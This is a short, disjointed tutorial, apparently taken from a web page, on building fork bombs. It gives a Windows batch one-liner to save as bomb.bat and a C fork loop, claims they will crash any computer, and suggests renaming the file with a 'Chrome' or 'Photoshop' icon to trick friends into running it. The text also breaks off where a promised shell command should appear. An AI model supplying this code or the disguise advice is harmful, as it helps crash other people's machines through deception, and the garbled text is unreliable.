The reason why this specific code is so famous are:

%0|%0

Now save the file in your desktop as bomb.bat(note the .bat extension is very important) and your fork bomb is ready. Now you only need to double click on the bomb.bat file to crash any computer.

Just execute the following code in your c compiler:

#include <unistd.h>int main(void){  while(1)    fork();  return 0;}

You have to open shell prompt and run the following code to execute the attack:

You can definitely get creative and change the icon of the .bat file and also rename it to something like "Chrome" or "Photoshop" etc. to make it look more real and prank your friends.
